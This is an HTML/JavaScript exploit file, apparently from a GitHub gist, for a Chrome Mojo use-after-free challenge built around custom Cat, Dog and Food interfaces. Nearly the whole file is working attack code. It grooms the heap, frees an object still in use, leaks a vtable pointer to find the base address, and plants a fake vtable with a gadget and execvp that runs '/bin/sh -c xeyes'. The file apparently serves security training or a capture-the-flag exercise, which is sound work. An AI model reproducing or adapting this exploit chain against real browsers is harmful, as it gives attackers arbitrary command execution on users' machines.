exploit.html
<html> | |
<!-- | |
Copyright 2019 Google LLC | |
Licensed under the Apache License, Version 2.0 (the "License"); | |
you may not use this file except in compliance with the License. | |
You may obtain a copy of the License at | |
https://www.apache.org/licenses/LICENSE-2.0 | |
Unless required by applicable law or agreed to in writing, software | |
distributed under the License is distributed on an "AS IS" BASIS, | |
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
See the License for the specific language governing permissions and | |
limitations under the License. | |
--> | |
<body> | |
<script src="/mojo_bindings.js"></script> | |
<script src="/person_interface.mojom.js"></script> | |
<script src="/cat_interface.mojom.js"></script> | |
<script src="/dog_interface.mojom.js"></script> | |
<script src="/food_interface.mojom.js"></script> | |
<script src="/being_creator_interface.mojom.js"></script> | |
<script> | |
wait = async timeout => new Promise(resolve => setTimeout(resolve, timeout)); | |
// bigint support | |
mojo.internal.Buffer.prototype.setUint64 = function(offset, value) { | |
value = BigInt(value); | |
let multipliter = 0x100000000n; | |
var hi = Number(value / multipliter); | |
var low = Number(value % multipliter); | |
this.dataView.setInt32(offset, low, true); | |
this.dataView.setInt32(offset + 4, hi, true); | |
return; | |
}; | |
// This is needed because by default Mojo encodes all strings in utf8 | |
// and this can corrupt the pointer value in | |
// `await one_more_cat.setName(fake_vtable_ptr);` | |
mojo.internal.encodeUtf8String = function(str, outputBuffer) { | |
const utf8Buffer = str.split('').map(char => char.charCodeAt(0)); | |
if (outputBuffer.length < utf8Buffer.length) | |
throw new Error("Buffer too small for encodeUtf8String"); | |
outputBuffer.set(utf8Buffer); | |
return utf8Buffer.length; | |
} | |
mojo.internal.decodeUtf8String = function(buffer) { | |
return Array.from(new Uint8Array(buffer.buffer, buffer.byteOffset, buffer.byteLength)). | |
map(code => String.fromCharCode(code)).join(''); | |
} | |
hexify = string => string.split('').map(char => char.charCodeAt(0).toString(16).padStart(2, 0)).join(' '); | |
function getUint64(str, offset) { | |
return (new DataView( | |
(new Uint8Array(str.split('').map(char => char.charCodeAt(0)))).buffer) | |
).getBigUint64(offset, true); | |
}; | |
function setUint64(str, offset, value) { | |
let array = new Uint8Array(str.split('').map(char => char.charCodeAt(0))); | |
let view = new DataView(array.buffer); | |
view.setBigUint64(offset, value, true); | |
return Array.from(array).map(char => String.fromCharCode(char)).join(''); | |
}; | |
function strToUint64(str) { | |
let dv = new DataView(new ArrayBuffer(8)); | |
for (let i = 0; i < 8; ++i) dv.setUint8(i, str.charCodeAt(i)); | |
return dv.getBigUint64(0, true); | |
} | |
rand = n => Math.random() * n | 0; // [0,n) | |
getIdString = idx => String.fromCharCode(idx) + 'A'.repeat(sizeof_stringbuf - 1); | |
// This was used previously to estimate which values are working. | |
// dog_count = Math.max(rand(100), 1); | |
// cat_count = Math.max(dog_count * 2 + rand(20) - 10, 1); | |
cat_count = 16; | |
dog_count = 8; | |
sizeof_CatInterfaceImpl = 64; | |
// This is the size of CatInterfaceImpl | |
// The capacity of a newly created string (longer than 22 bytes) is always bigger at least | |
// by 0x10 (and rounded up to 0x10) than the length of a string. | |
// We want to make a string buffer of the length equal to CatInterfaceImpl | |
// so we need to create a string that its data buffer is 0x10 bytes smaller. | |
sizeof_stringbuf = sizeof_CatInterfaceImpl - 0x10; | |
async function poc() { | |
// 1. Create BeingCreator endpoint for sending messages (InterfacePtr). | |
being_creator_interface_ptr = new blink.mojom.BeingCreatorInterfacePtr(); | |
Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name, | |
mojo.makeRequest(being_creator_interface_ptr).handle); | |
// 2. Associate the endpoint with the implementation. | |
function FoodInterfaceImpl() { | |
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this); | |
} | |
// Food interface implementation. | |
FoodInterfaceImpl.prototype = { | |
getDescription: async () => { | |
}, | |
setDescription: async (arg) => { | |
}, | |
getWeight: async () => { | |
// 6. Free the last dog. | |
dogs[dogs.length - 1].ptr.reset(); | |
// 7. Set names of the dogs. | |
for (let i = dog_count - 1; i--; ) { | |
dogs[i].setName('X'.repeat(sizeof_stringbuf * 100)); | |
} | |
// 8. Create cats. | |
cats = []; | |
for (let i = 0; i < cat_count; ++i) { | |
cats.push((await being_creator_interface_ptr.createCat()).cat); | |
} | |
// 9. Set names of cats, their capacity is the same as sizeof_CatInterfaceImpl. | |
// The first byte of the name is the id. | |
for (let i = 0; i < cat_count; ++i) { | |
await cats[i].setName(getIdString(i)); | |
} | |
// 10. After return, CatInterfaceImpl::AddWeight is called. | |
// After feng shui a cat was created in the same place as the freed dog. | |
// "weight += weight_;" adds to cat.name.ptr value sizeof_CatInterfaceImpl. | |
// So now name.ptr of the cat points to the place right after the end of ptr data buffor, | |
// which is name.ptr of some another cat. | |
return {'weight': sizeof_CatInterfaceImpl}; | |
}, | |
setWeight: async (arg) => { | |
}, | |
}; | |
// 3. Create Food object. | |
let food_impl = new FoodInterfaceImpl(); | |
let food_impl_ptr = new blink.mojom.FoodInterfacePtr(); | |
food_impl.binding.bind(mojo.makeRequest(food_impl_ptr)); | |
// 4. Let's start heap feng shui. Create dogs with its names of capacity equal to sizeof_CatInterfaceImpl. | |
dogs = []; | |
for (let i = 0; i < dog_count; ++i) { | |
dog = (await being_creator_interface_ptr.createDog()).dog; | |
await dog.setName('Z'.repeat(sizeof_stringbuf)); | |
dogs.push(dog); | |
} | |
// 5. Call CookAndEat function on the last dog, later GetWeight of FoodInterfaceImpl is called. | |
dog.cookAndEat(food_impl_ptr); | |
// 11. Wait a bit | |
await wait(1000); | |
// 12. Lets iterate over cats to know which one has overwritten name.ptr | |
for (let A = 0; A < cat_count; ++A) { | |
// 13. If name is not equal to the name we set at point 9, we know that this cat has been overwritten | |
name = (await cats[A].getName()).name; | |
if (name != getIdString(A)) { | |
// 14. The name.ptr has been overwritten to the same value of name.ptr of another cat. | |
// A is a number of the cat that name.ptr has been overwritten. | |
// B is the cat that its name.ptr is pointed by cat of index A. | |
let B = name.charCodeAt(0); | |
if (B < 0 || B >= cats.length) { | |
break; | |
} | |
// Now we have 2 different strings that their ptr points to the same address. | |
// 15. Now we change the name of B'th cat to very big one, | |
// so the previous name.ptr buffer has been freed. | |
// name.ptr of cats[A] points to a freed memory | |
await cats[B].setName('B'.repeat(sizeof_stringbuf * 100)); | |
// 16. Create one more cat. It has been allocated in the same place as cats[A].name.ptr | |
one_more_cat = (await being_creator_interface_ptr.createCat()).cat; | |
fake_vtable_ptr = 'F'.repeat(0x100); | |
await one_more_cat.setName(fake_vtable_ptr); | |
// 17. Leak the memory. | |
name = (await cats[A].getName()).name; | |
// The first field is a pointer to vtable. | |
vtable_ptr = getUint64(name, 0); | |
// The second field is name.ptr which is equal to fake_vtable_ptr address. | |
str_ptr = getUint64(name, 8); | |
// 18. Compute adresses. | |
base_offset = 0x8fc1ae0n; | |
base_ptr = vtable_ptr - base_offset; | |
if ((base_ptr & 0xffn) != 0n) { | |
break; | |
} | |
// int execvp(const char *file, char *const argv[]); | |
// this is an adress of execvp@plt | |
execvp_ptr = base_ptr + 0x8f79940n; | |
// gadget_ptr sets rdi to "/bin/sh", rsi points to a good address when this gadget is called | |
// 0x555557ef9ff9 <FT_Load_Glyph+121>: mov rdi,QWORD PTR [rax+0xb8] | |
// 0x555557efa000 <FT_Load_Glyph+128>: call QWORD PTR [rdi+0x10] | |
gadget_ptr = base_ptr + 0x29a5ff9n; | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x28, gadget_ptr); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x10, execvp_ptr); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0xb8, str_ptr); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x58, str_ptr + 0x78n); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x60, str_ptr + 0x80n); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x68, str_ptr + 0x88n); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x70, 0n); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x00, strToUint64('/bin/sh\x00')); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x78, strToUint64('foo\x00')); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x80, strToUint64('-c\x00')); | |
fake_vtable_ptr = setUint64(fake_vtable_ptr, 0x88, strToUint64('xeyes\x00')); | |
// 19. Call a virtual method. The vtable is fake so the gadget is called. | |
await one_more_cat.setName(fake_vtable_ptr); | |
name = setUint64(name, 0, str_ptr); | |
await cats[A].setName(name); | |
alert(await one_more_cat.setAge(str_ptr + 0x58n)); | |
break; | |
} | |
} | |
// 12.5 If heap feng shui didnt work start from the beginning | |
document.write('done'); | |
location.reload(); | |
}; | |
poc(); | |
</script></body></html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment